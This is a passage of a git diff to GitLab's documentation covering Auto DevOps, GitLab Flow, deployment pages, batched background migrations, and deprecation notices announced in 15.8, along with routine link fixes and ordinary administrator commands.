projects when Auto DevOps is not enabled: - - - -The banner can be disabled for: - -- A user, when they dismiss it themselves. -- A project, by explicitly [disabling Auto DevOps](index.md#enable-or-disable-auto-devops). -- An entire GitLab instance: - - By an administrator running the following in a Rails console: - - ```ruby - Feature.enable(:auto_devops_banner_disabled) - ``` - - - Through the REST API with an administrator access token: - - ```shell - curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled" - ``` +1. Ensure your Kubernetes cluster has network access to where PostgreSQL is hosted. diff --git a/doc/topics/autodevops/multiple_clusters_auto_devops.md b/doc/topics/autodevops/multiple_clusters_auto_devops.md index cf775a35eb7..3411beedefb 100644 --- a/doc/topics/autodevops/multiple_clusters_auto_devops.md +++ b/doc/topics/autodevops/multiple_clusters_auto_devops.md @@ -26,7 +26,7 @@ To deploy your environments to different Kubernetes clusters: 1. [Configure each agent to access your project](../../user/clusters/agent/install/index.md#configure-your-agent). 1. [Install NGINX Ingress Controller](cloud_deployments/auto_devops_with_gke.md#install-ingress) in each cluster. Save the IP address and Kubernetes namespace for the next step. 1. [Configure the Auto DevOps CI/CD Pipeline variables](cicd_variables.md#build-and-deployment-variables) - - Set up a `KUBE_CONTEXT` variable [for each environment](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable). The value must point to the agent of the relevant cluster. + - Set up a `KUBE_CONTEXT` variable [for each environment](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). The value must point to the agent of the relevant cluster. - Set up a `KUBE_INGRESS_BASE_DOMAIN`. You must [configure the base domain](requirements.md#auto-devops-base-domain) for each environment to point to the Ingress of the relevant cluster. - Add a `KUBE_NAMESPACE` variable with a value of the Kubernetes namespace you want your deployments to target. You can scope the variable to multiple environments. diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index 0ca9c6fa3de..aba0b2d7fae 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -451,7 +451,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster: 1. If you are deploying your application for the first time in GitLab 13.0 or later, no configuration should be required. -1. In GitLab 12.10 and earlier, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart): +1. In GitLab 12.10 and earlier, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-helm-chart-values): ```yaml deploymentApiVersion: apps/v1 @@ -535,7 +535,7 @@ you must: After configuring your worker to respond to health checks, run a Sidekiq worker for your Rails application. You can enable workers by setting the -following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart): +following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-helm-chart-values): ```yaml workers: diff --git a/doc/topics/autodevops/troubleshooting.md b/doc/topics/autodevops/troubleshooting.md index ef420323b32..dd715e95512 100644 --- a/doc/topics/autodevops/troubleshooting.md +++ b/doc/topics/autodevops/troubleshooting.md @@ -230,7 +230,7 @@ LAST SEEN TYPE REASON OBJECT ``` To change the port used for the liveness checks, pass -[custom values to the Helm chart](customize.md#customize-values-for-helm-chart) +[custom values to the Helm chart](customize.md#customize-helm-chart-values) used by Auto DevOps: 1. Create a directory and file at the root of your repository named `.gitlab/auto-deploy-values.yaml`. diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md index 4fafc89cac1..858562eef48 100644 --- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md +++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md @@ -116,7 +116,7 @@ If your Auto DevOps project has an active environment that was deployed with the 1. Deploy your environment as usual. This deployment uses Helm v3. 1. If the deployment succeeds, you can safely run `<environment-name>:helm-2to3:cleanup`. This deletes all Helm v2 release data from the namespace. -1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable or set it to `false`. You can do this one environment at a time using [environment scopes](../../ci/environments/index.md#scope-environments-with-specs). +1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable or set it to `false`. You can do this one environment at a time using [environment scopes](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). #### In-Cluster PostgreSQL Channel 2 diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md index d43b1cae9e9..f18d5c49be5 100644 --- a/doc/topics/autodevops/upgrading_postgresql.md +++ b/doc/topics/autodevops/upgrading_postgresql.md @@ -174,7 +174,7 @@ deleted, you can choose to retain the [persistent volume](#retain-persistent-vol NOTE: You can also -[scope](../../ci/environments/index.md#scope-environments-with-specs) the +[scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) the `AUTO_DEVOPS_POSTGRES_CHANNEL`, `AUTO_DEVOPS_POSTGRES_DELETE_V1` and `POSTGRES_VERSION` variables to specific environments, for example, `staging`. @@ -189,7 +189,7 @@ higher*. This is the minimum PostgreSQL version supported by Auto DevOps. See also the list of [tags available](https://hub.docker.com/r/bitnami/postgresql/tags). 1. Set `PRODUCTION_REPLICAS` to `0`. For other environments, use - `REPLICAS` with an [environment scope](../../ci/environments/index.md#scope-environments-with-specs). + `REPLICAS` with an [environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). 1. If you have set the `DB_INITIALIZE` or `DB_MIGRATE` variables, either remove the variables, or rename the variables temporarily to `XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them. diff --git a/doc/topics/awesome_co.md b/doc/topics/awesome_co.md index fc5f79b4d18..ff3c81a1b90 100644 --- a/doc/topics/awesome_co.md +++ b/doc/topics/awesome_co.md @@ -32,10 +32,10 @@ ci: migrated ### Run -The `gitlab:seed:awesome_co` Rake task takes two arguments. `:name` and `:namespace_id`. +The `ee:gitlab:seed:awesome_co` Rake task takes two arguments. `:name` and `:namespace_id`. ```shell -$ bundle exec rake "gitlab:seed:awesome_co[awesome_co,1]" +$ bundle exec rake "ee:gitlab:seed:awesome_co[awesome_co,1]" Seeding AwesomeCo for Administrator ``` @@ -54,7 +54,7 @@ Each company (i.e. test data template) is represented as a Ruby file (.rb) in `d ### AwesomeCo (db/seeds/awesome_co/awesome_co.rb) ```shell -$ bundle exec rake "gitlab:seed:awesome_co[awesome_co,:namespace_id]" +$ bundle exec rake "ee:gitlab:seed:awesome_co[awesome_co,:namespace_id]" Seeding AwesomeCo for :namespace_id ``` diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md index e585b860b16..050d2415b26 100644 --- a/doc/topics/git/troubleshooting_git.md +++ b/doc/topics/git/troubleshooting_git.md @@ -40,6 +40,16 @@ git config http.postBuffer 52428800 The value is specified in bytes, so in the above case the buffer size has been set to 50MB. The default is 1MB. +### RPC failed; curl 92 HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2) + +This problem may be caused by a slow internet connection. If you use Git over HTTP +instead of SSH, try one of these fixes: + +- Increase the POST buffer size in the Git configuration with `git config http.postBuffer 52428800`. +- Switch to the `HTTP/1.1` protocol with `git config http.version HTTP/1.1`. + +If neither approach fixes the error, you may need a different internet service provider. + ### Check your SSH configuration **If pushing over SSH**, first check your SSH configuration as 'Broken pipe' diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index ffd9f36b369..89ab5e1cf2e 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -7,14 +7,29 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/gitlab_flow.html' # Introduction to GitLab Flow **(FREE)** -Git allows a wide variety of branching strategies and workflows. -Because of this, many organizations end up with workflows that are too complicated, not clearly defined, or not integrated with issue tracking systems. -Therefore, we propose GitLab flow as a clearly defined set of best practices. -It combines [feature-driven development](https://en.wikipedia.org/wiki/Feature-driven_development) and [feature branches](https://martinfowler.com/bliki/FeatureBranch.html) with issue tracking. +With Git, you can use a variety of branching strategies and workflows. -Organizations coming to Git from other version control systems frequently find it hard to develop a productive workflow. -This article describes GitLab flow, which integrates the Git workflow with an issue tracking system. -It offers a transparent and effective way to work with Git: +Because the default workflow is not specifically defined, many organizations +end up with workflows that are too complicated, not clearly defined, or +not integrated with their issue tracking systems. + +Your organization can use GitLab with any workflow you choose. + +However, if you are looking for guidance on best practices, you can use +the GitLab Flow. This workflow combines [feature-driven development](https://en.wikipedia.org/wiki/Feature-driven_development) +and [feature branches](https://martinfowler.com/bliki/FeatureBranch.html) with issue tracking. + +While this workflow used at GitLab, you can choose whichever workflow +suits your organization best. + +## Git workflow + +Most version control systems have only one step: committing from the working copy to a shared server. + +When you convert to Git, you have to get used to the fact that it takes three steps to share a commit with colleagues. + +In Git, you add files from the working copy to the staging area. After that, you commit them to your local repository. +The third step is pushing to a shared remote repository. ```mermaid graph LR @@ -25,27 +40,18 @@ graph LR end ``` -When converting to Git, you have to get used to the fact that it takes three steps to share a commit with colleagues. -Most version control systems have only one step: committing from the working copy to a shared server. -In Git, you add files from the working copy to the staging area. After that, you commit them to your local repository. -The third step is pushing to a shared remote repository. After getting used to these three steps, the next challenge is the branching model. Because many organizations new to Git have no conventions for how to work with it, their repositories can quickly become messy. The biggest problem is that many long-running branches emerge that all contain part of the changes. People have a hard time figuring out which branch has the latest code, or which branch to deploy to production. Frequently, the reaction to this problem is to adopt a standardized pattern such as [Git flow](https://nvie.com/posts/a-successful-git-branching-model/) and [GitHub flow](https://scottchacon.com/2011/08/31/github-flow.html). -We think there is still room for improvement. In this document, we describe a set of practices we call GitLab flow. - -For a video introduction of how this works in GitLab, see [GitLab Flow](https://youtu.be/InKNIvky2KE). - -## Git flow and its problems -<!-- vale gitlab.Spelling = NO --> +We think there is still room for improvement, and so we've proposed a set of practices called the GitLab Flow. - +For a video introduction of this workflow in GitLab, see [GitLab Flow](https://youtu.be/InKNIvky2KE). -<!-- vale gitlab.Spelling = YES --> +## Problems with the Git flow Git flow was one of the first proposals to use Git branches, and it has received a lot of attention. It suggests a `main` branch and a separate `develop` branch, @@ -68,6 +74,12 @@ Frequently, developers make mistakes such as merging changes only into `main` an The reason for these errors is that Git flow is too complicated for most use cases. For example, many projects do releases but don't need to do hotfixes. +<!-- vale gitlab.Spelling = NO --> + + + +<!-- vale gitlab.Spelling = YES --> + ## GitHub flow as a simpler alternative In reaction to Git flow, GitHub created a simpler alternative. @@ -100,20 +112,21 @@ While this is possible in some cases, such as SaaS applications, there are some - You have deployment windows - for example, workdays from 10 AM to 4 PM when the operations team is at full capacity - but you also merge code at other times. -In these cases, you can make a production branch that reflects the deployed code. -You can deploy a new version by merging `development` into the production branch: +In these cases, you can create a production branch that reflects the deployed code. +You can deploy a new version by merging `main` into the `production` branch. +While not shown in the graph below, the work on the `main` branch works just like in GitHub flow, i.e. with feature-branches being merged into `main`. ```mermaid graph TD subgraph Production branch in GitLab Flow - A[development] ==>B[development] - B ==> C[development] - C ==> D[development] + A[main branch] ==>B[development] + B ==> C[main branch] + C ==> D[main branch] E[production] ====> F[production] C --> |deployment| F - D ==> G[development] - F ==> H[production] + D ==> G[main branch] + F ==> H[main branch] end ``` diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md index 862c41aa4d9..8b1fb1657a0 100644 --- a/doc/topics/plan_and_track.md +++ b/doc/topics/plan_and_track.md @@ -58,3 +58,4 @@ Align your work across teams. - [View health status](../user/project/issues/managing_issues.md#health-status) - [Roadmaps](../user/group/roadmap/index.md) - [Planning hierarchies](../user/group/planning_hierarchy/index.md) +- [Objectives and key results](../user/okrs.md) diff --git a/doc/topics/release_your_application.md b/doc/topics/release_your_application.md index 851396f9bf3..819ed0a1224 100644 --- a/doc/topics/release_your_application.md +++ b/doc/topics/release_your_application.md @@ -6,66 +6,30 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Deploy and release your application **(FREE)** -Deploy your application internally or to the public. Use -flags to release features incrementally. - -## Deployments - -Deployment is the step of the software delivery process when your application gets deployed to its -final, target infrastructure. - -### Deploy with Auto DevOps - -[Auto DevOps](autodevops/index.md) is an automated CI/CD-based workflow that supports the entire software -supply chain: build, test, lint, package, deploy, secure, and monitor applications using GitLab CI/CD. -It provides a set of ready-to-use templates that serve the vast majority of use cases. - -[Auto Deploy](autodevops/stages.md#auto-deploy) is the DevOps stage dedicated to software -deployment using GitLab CI/CD. - -### Deploy applications to Kubernetes clusters - -With the extensive integration between GitLab and Kubernetes, you can safely deploy your applications -to Kubernetes clusters using the [GitLab agent](../user/clusters/agent/install/index.md). - -#### GitOps deployments - -With the [GitLab agent for Kubernetes](../user/clusters/agent/install/index.md), you can perform -[pull-based deployments of Kubernetes manifests](../user/clusters/agent/gitops.md). This provides a scalable, secure, -and cloud-native approach to manage Kubernetes deployments. - -#### Deploy to Kubernetes from GitLab CI/CD - -With the [GitLab agent for Kubernetes](../user/clusters/agent/install/index.md), you can perform -[push-based deployments](../user/clusters/agent/ci_cd_workflow.md) from GitLab CI/CD. The agent provides -a secure and reliable connection between GitLab and your Kubernetes cluster. - -### Deploy to AWS with GitLab CI/CD - -GitLab provides Docker images that you can use to run AWS commands from GitLab CI/CD, and a template to -facilitate [deployment to AWS](../ci/cloud_deployment). Moreover, Auto Deploy has built-in support -for EC2 and ECS deployments. - -### General software deployment with GitLab CI/CD - -You can use GitLab CI/CD to target any type of infrastructure accessible by the GitLab Runner. -[User and pre-defined environment variables](../ci/variables/index.md) and CI/CD templates -support setting up a vast number of deployment strategies. - -## Environments - -To keep track of your deployments and gain insights into your infrastructure, we recommend -connecting them to [a GitLab Environment](../ci/environments/index.md). - -## Releases - -Use GitLab [Releases](../user/project/releases/index.md) to plan, build, and deliver your applications. - -### Feature flags - -Use [feature flags](../operations/feature_flags.md) to control and strategically rollout application deployments. - -## Deploy to Google Cloud - -GitLab [Cloud Seed](../cloud_seed/index.md) is an open-source Incubation Engineering program that -enables you to set up deployment credentials and deploy your application to Google Cloud Run with minimal friction. +Deployment is the step of the software delivery process when your +application gets deployed to its final, target infrastructure. + +You can deploy your application internally or to the public. +Preview a release in a Review App, and use feature flags to +release features incrementally. + +- [Environments and deployments](../ci/environments/index.md) +- [Releases](../user/project/releases/index.md) +- [Review Apps](../ci/review_apps/index.md) +- [Feature flags](../operations/feature_flags.md) + +## Related topics + +- [Auto DevOps](autodevops/index.md) is an automated CI/CD-based workflow that supports the entire software + supply chain: build, test, lint, package, deploy, secure, and monitor applications using GitLab CI/CD. + It provides a set of ready-to-use templates that serve the vast majority of use cases. +- [Auto Deploy](autodevops/stages.md#auto-deploy) is the DevOps stage dedicated to software + deployment using GitLab CI/CD. Auto Deploy has built-in support for EC2 and ECS deployments. +- Deploy to Kubernetes clusters by using the [GitLab agent](../user/clusters/agent/install/index.md). +- Use Docker images to run AWS commands from GitLab CI/CD, and a template to + facilitate [deployment to AWS](../ci/cloud_deployment). +- Use GitLab CI/CD to target any type of infrastructure accessible by GitLab Runner. + [User and pre-defined environment variables](../ci/variables/index.md) and CI/CD templates + support setting up a vast number of deployment strategies. +- Use GitLab [Cloud Seed](../cloud_seed/index.md), an open-source Incubation Engineering program, + to set up deployment credentials and deploy your application to Google Cloud Run with minimal friction. diff --git a/doc/topics/set_up_organization.md b/doc/topics/set_up_organization.md index 526e36b9ce0..855b4962960 100644 --- a/doc/topics/set_up_organization.md +++ b/doc/topics/set_up_organization.md @@ -11,7 +11,7 @@ and give everyone access to the projects they need. - [Namespaces](../user/namespace/index.md) - [Members](../user/project/members/index.md) -- [Workspace](../user/workspace/index.md) _(In development)_ +- [Organization](../user/workspace/index.md) _(In development)_ - [Groups](../user/group/index.md) - [User account options](../user/profile/index.md) - [SSH keys](../user/ssh.md) diff --git a/doc/tutorials/agile_sprint.md b/doc/tutorials/agile_sprint.md index 8e1886cf464..ff0b17d7eb0 100644 --- a/doc/tutorials/agile_sprint.md +++ b/doc/tutorials/agile_sprint.md @@ -32,7 +32,7 @@ Membership automatically cascades down to all subgroups and projects. ## Create a project -Now [create one or more projects](../user/project/working_with_projects.md#create-a-project) in your group. +Now [create one or more projects](../user/project/index.md#create-a-project) in your group. There are several different ways to create a project. A project contains your code and pipelines, but also the issues that are used for planning your upcoming code changes. diff --git a/doc/tutorials/move_personal_project_to_a_group.md b/doc/tutorials/move_personal_project_to_a_group.md index 1431dc48d99..e3ab1e8fbd8 100644 --- a/doc/tutorials/move_personal_project_to_a_group.md +++ b/doc/tutorials/move_personal_project_to_a_group.md @@ -53,7 +53,7 @@ If you don't have a group, create one: Before you move your project to a group: - You must have the Owner role for the project. -- Remove any [container images](../user/packages/container_registry/index.md#known-issues) +- Remove any [container images](../user/packages/container_registry/index.md#move-or-rename-container-registry-repositories) - Remove any npm packages. If you transfer a project to a different root namespace, the project must not contain any npm packages. When you update the path of a user or group, or transfer a subgroup or project, you must remove any npm packages first. You cannot update the root namespace of a project with npm packages. Make sure you update your .npmrc files to follow the naming convention and run npm publish if necessary. Now you're ready to move your project: diff --git a/doc/update/background_migrations.md b/doc/update/background_migrations.md index 2e0bd1bb348..c5ffefdd77f 100644 --- a/doc/update/background_migrations.md +++ b/doc/update/background_migrations.md @@ -122,28 +122,6 @@ Expected batched background migration for the given configuration to be marked a If you get this error, [check the batched background migration options](#database-migrations-failing-because-of-batched-background-migration-not-finished) to complete the upgrade. -### Enable or disable batched background migrations - -WARNING: -If you disable this feature flag, GitLab upgrades may fail. - -Batched background migrations are under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:execute_batched_migrations_on_schedule) -``` - -To disable it: - -```ruby -Feature.disable(:execute_batched_migrations_on_schedule) -``` - ### Pause batched background migrations in GitLab 14.x To pause an ongoing batched background migration, use the `disable` command above. @@ -225,6 +203,18 @@ Feature.disable(:optimize_batched_migrations) ## Troubleshooting +### Enable or disable batched background migrations + +In extremely limited circumstances, a GitLab administrator can disable the +`execute_batched_migrations_on_schedule` [feature flag](../administration/feature_flags.md). +This flag is enabled by default, and should be disabled only as a last resort +to limit database operations in special circumstances, like database host maintenance. + +WARNING: +Do not disable this flag unless you fully understand the ramifications. If you disable +the `execute_batched_migrations_on_schedule` feature flag, GitLab upgrades may fail +and data loss may occur. + ### Database migrations failing because of batched background migration not finished When updating to GitLab 14.2 or later there might be a database migration failing with a message like: diff --git a/doc/update/deprecations.md b/doc/update/deprecations.md index ed49a4ade09..e4c2f149653 100644 --- a/doc/update/deprecations.md +++ b/doc/update/deprecations.md @@ -48,13 +48,461 @@ sole discretion of GitLab Inc. <div class="announcement-milestone"> +## Announced in 15.8 + +<div class="deprecation removal-160 breaking-change"> + +### Approvers and Approver Group fields in Merge Request Approval API + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The endpoint to get the configuration of approvals for a project returns empty arrays for `approvers` and `approval_groups`. These fields were deprecated in favor of the endpoint to [get project-level rules](https://docs.gitlab.com/ee/api/merge_request_approvals.html#get-project-level-rules) for a merge request. API users are encouraged to switch to this endpoint instead. These fields will be removed from the `get configuration` endpoint in v5 of the GitLab REST API. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Auto DevOps no longer provisions a PostgreSQL database by default + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Currently, Auto DevOps provisions an in-cluster PostgreSQL database by default. +In GitLab 16.0, databases will be provisioned only for users who opt in. This +change supports production deployments that require more robust database management. + +If you want Auto DevOps to provision an in-cluster database, +set the `POSTGRES_ENABLED` CI/CD variable to `true`. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Auto DevOps support for Herokuish is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Auto DevOps support for Herokuish is deprecated in favor of [Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-build-using-cloud-native-buildpacks). You should [migrate your builds from Herokuish to Cloud Native Buildpacks](https://docs.gitlab.com/ee/topics/autodevops/stages.html#moving-from-herokuish-to-cloud-native-buildpacks). From GitLab 14.0, Auto Build uses Cloud Native Buildpacks by default. + +Because Cloud Native Buildpacks do not support automatic testing, the Auto Test feature of Auto DevOps is also deprecated. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Azure Storage Driver defaults to the correct root prefix + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The Azure Storage Driver writes to `//` as the default root directory. This default root directory appears in some places within the Azure UI as `/<no-name>/`. We have maintained this legacy behavior to support older deployments using this storage driver. However, when moving to Azure from another storage driver, this behavior hides all your data until you configure the storage driver to build root paths without an extra leading slash by setting `trimlegacyrootprefix: true`. + +The new default configuration for the storage driver will set `trimlegacyrootprefix: true`, and `/` will be the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration to avoid any disruptions. + +This breaking change will happen in GitLab 16.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Conan project-level search endpoint returns project-specific results + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +You can use the GitLab Conan repository with [project-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-project) or [instance-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-instance) endpoints. Each level supports the conan search command. However, the search endpoint for the project level is also returning packages from outside the target project. + +This unintended functionality is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. The search endpoint for the project level will only return packages from the target project. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Configuring Redis config file paths using environment variables is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +You can no longer specify Redis configuration file locations +using the environment variables like `GITLAB_REDIS_CACHE_CONFIG_FILE` or +`GITLAB_REDIS_QUEUES_CONFIG_FILE`. Use the default +config file locations instead, for example `config/redis.cache.yml` or +`config/redis.queues.yml`. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Container Registry pull-through cache + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The Container Registry pull-through cache is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. While the Container Registry pull-through cache functionality is useful, we have not made significant changes to this feature. You can use the upstream version of the container registry to achieve the same functionality. Removing the pull-through cache allows us also to remove the upstream client code without sacrificing functionality. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Dependency Scanning support for Java 13, 14, 15, and 16 + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +GitLab has deprecated Dependency Scanning support for Java versions 13, 14, 15, and 16 and plans to remove that support in the upcoming GitLab 16.0 release. This is consistent with [Oracle's support policy](https://www.oracle.com/java/technologies/java-se-support-roadmap.html) as Oracle Premier and Extended Support for these versions has ended. This also allows GitLab to focus Dependency Scanning Java support on LTS versions moving forward. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Deployment API returns error when `updated_at` and `updated_at` are not used together + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The Deployment API will now return an error when `updated_at` filtering and `updated_at` sorting are not used together. Some users were using filtering by `updated_at` to fetch "latest" deployment without using `updated_at` sorting, which may produce wrong results. You should instead use them together, or migrate to filtering by `finished_at` and sorting by `finished_at` which will give you "latest deployments" in a consistent way. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Developer role providing the ability to import projects to a group + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The ability for users with the Developer role for a group to import projects to that group is deprecated in GitLab +15.8 and will be removed in GitLab 16.0. From GitLab 16.0, only users with at least the Maintainer role for a group +will be able to import projects to that group. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### GitLab Helm chart values `gitlab.kas.privateApi.*` are deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +We introduced the `global.kas.tls.*` Helm values to facilitate TLS communication between KAS and your Helm chart components. +The old values `gitlab.kas.privateApi.tls.enabled` and `gitlab.kas.privateApi.tls.secretName` are deprecated and scheduled for removal in GitLab 17.0. + +Because the new values provide a streamlined, comprehensive method to enable TLS for KAS, you should use `global.kas.tls.*` instead of `gitlab.kas.privateApi.tls.*`. The `gitlab.kas.privateApi.tls.*` For more information, see: + +- The [merge request](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2888) that introduces the `global.kas.tls.*` values. +- The [deprecated `gitlab.kas.privateApi.tls.*` documentation](https://docs.gitlab.com/charts/charts/gitlab/kas/index.html#enable-tls-communication-through-the-gitlabkasprivateapi-attributes-deprecated). +- The [new `global.kas.tls.*` documentation](https://docs.gitlab.com/charts/charts/globals.html#tls-settings-1). + +</div> + +<div class="deprecation removal-160"> + +### GitLab.com importer + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +The [GitLab.com importer](https://docs.gitlab.com/ee/user/project/import/gitlab_com.html) is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. + +The GitLab.com importer was introduced in 2015 for importing a project from GitLab.com to a self-managed GitLab instance through the UI. +This feature is available on self-managed instances only. [Migrating GitLab groups and projects by direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended) +supersedes the GitLab.com importer and provides a more cohesive importing functionality. + +See [migrated group items](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items) and [migrated project items](https://docs.gitlab.com/ee/user/group/import/#migrated-project-items) for an overview. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### GraphQL: The `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` enum is deprecated. Use `DISABLED_AND_OVERRIDABLE` instead + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In GitLab 16.0, the `DISABLED_WITH_OVERRIDE` value of the `SharedRunnersSetting` GraphQL enum type will be replaced with the value, `DISABLED_AND_OVERRIDABLE`. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Limit personal access token and deploy token's access with external authorization + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +With external authorization enabled, personal access tokens (PATs) and deploy tokens must no longer be able to access container or package registries. This defense-in-depth security measure will be deployed in 16.0. For users that use PATs and deploy tokens to access these registries, this measure breaks this use of these tokens. Disable external authorization to use tokens with container or package registries. + +</div> + +<div class="deprecation removal-159 breaking-change"> + +### Live Preview no longer available in the Web IDE + +Planned removal: GitLab <span class="removal-milestone">15.9</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The Live Preview feature of the Web IDE was intended to provide a client-side preview of static web applications. However, complex configuration steps and a narrow set of supported project types have limited its utility. With the introduction of the Web IDE Beta in GitLab 15.7, you can now connect to a full server-side runtime environment. With upcoming support for installing extensions in the Web IDE, we'll also support more advanced workflows than those available with Live Preview. As of GitLab 15.9, Live Preview is no longer available in the Web IDE. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Maintainer role providing the ability to change Package settings using GraphQL API + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The ability for users with the Maintainer role to change the **Packages and registries** settings for a group using +the GraphQL API is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. These settings include: + +- [Allowing or preventing duplicate package uploads](https://docs.gitlab.com/ee/user/packages/maven_repository/#do-not-allow-duplicate-maven-packages). +- [Package request forwarding](https://docs.gitlab.com/ee/user/packages/maven_repository/#request-forwarding-to-maven-central). +- [Enabling lifecycle rules for the Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/reduce_dependency_proxy_storage.html). + +In GitLab 16.0 and later, you must have Owner role for a group to change the **Packages and registries** +settings for the group using either the GitLab UI or GraphQL API. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Non-standard default Redis ports are deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. 